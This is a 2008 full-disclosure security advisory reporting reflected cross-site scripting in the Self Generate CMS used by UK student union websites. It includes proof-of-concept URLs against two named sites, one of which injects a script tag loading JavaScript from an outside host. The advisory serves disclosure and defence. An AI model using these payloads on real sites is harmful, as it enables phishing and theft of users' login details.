[Full-disclosure] Multiple XSS Vulnerabilities in Self Generate CMS

[Kærast]

Release Date: August 23 2008
Platform: Web
Severity: Important
Summary:

Bam host a large number of websites for student unions throughout the
uk using a custom cms system called Self Generate. This vulnerability
affects all of these websites and allows attackers to inject arbitrary
html/javascript code into a browser session.

Status:

We have been unable to contact BamUK, SU Marketing, or Self Generate
about this vulnerability. They have no email addresses listed and their
contact form consistently returns error messages.

Details:

There are various instances throughout the cms system where html code
can be injected into the page. The majority of these instances are
where ‘page’ is passed as a GET value, eg. page=injected_data, which is
improperly cleaned before being displayed in the sidebar. Successful
exploitation of this could lead to users giving away their login
details through a cleverly crafted url sent in a phishing email.

Poc:
http://www.ubuonline.co.uk/games/?referrer=main&page=%22%3E%3Cscript%20src=http://vuln.xssed.net/thirdparty/scripts/ckers.org.js%3E%3C/script%3E

http://www.hullstudent.com/content/?page=%22%3Cscript%3Ealert(document.location)%3C/script%3E&text_only=2

Recommendations:

Use existing contacts at Bam/Self Generate to ask whether your website
is secure against all attacks (including xss and sql injection), and
not just the ones we discovered today. We believe that since the code
is heavily reused across all websites, it should be a relatively simple
fix following a full code audit.

Users may also consider switching to an alternative cms system hosted
inhouse which would make security auditing and fixing of bugs like
these much easier.

-- 
Kærast